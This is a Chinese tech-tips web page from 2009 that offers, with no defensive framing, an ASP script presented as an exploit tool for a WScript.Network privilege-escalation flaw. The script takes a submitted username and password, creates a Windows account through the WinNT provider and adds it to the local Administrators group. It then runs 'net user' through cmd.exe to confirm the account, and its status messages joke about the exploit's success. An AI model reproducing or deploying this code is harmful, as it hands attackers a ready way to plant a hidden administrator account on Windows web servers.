首页 电脑 电脑学堂 查看内容

添加超级用户的asp代码

2009-10-16 09:48 433 0

摘要: <head>.network对象脚本权限提升漏洞利用工具</head><form action="useradd.asp" method=post>用户:<i...
关键词: nbsp username Response write request Server passwd CreateObject 漏洞 set

<head>.network对象脚本权限提升漏洞利用工具</head><form action="useradd.asp" method=post>用户:<input name="username" type="text" value="kevin1986"><br>密码:<input name="passwd" type="password"><br><input type="submit" Value="添 加"></form> <%@codepage=936%><%on error resume nextif request.servervariables("REMOTE_ADDR")<>"127.0.0.1" thenresponse.write "iP !s n0T RiGHt"elseif request("username")<>"" then    username=request("username")    passwd=request("passwd")    Response.Expires=0    Session.TimeOut=50    Server.ScriptTimeout=3000    set lp=Server.CreateObject("WSCRIPT.NETWORK")    oz="WinNT://"&lp.ComputerName    Set ob=GetObject(oz)    Set oe=GetObject(oz&"/Administrators,group")    Set od=ob.Create("user",username)    od.SetPassword passwd    od.SetInfo    oe.Add oz&"/"&username    if err then        response.write "哎~~今天你还是别买6+1了……省下2元钱买瓶可乐也好……"    else        if instr(server.createobject("Wscript.shell").exec("cmd.exe /c net user "&username.stdout.readall),"上次登录")>0 then          response.write "虽然没有错误,但是好象也没建立成功.你一定很郁闷吧"        else          Response.write "OMG!"&username&"帐号居然成了!这可是未知漏洞啊.5,000,000RMB是你的了"        end if    end ifelse    response.write "请输入输入用户名"end ifend if%>
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部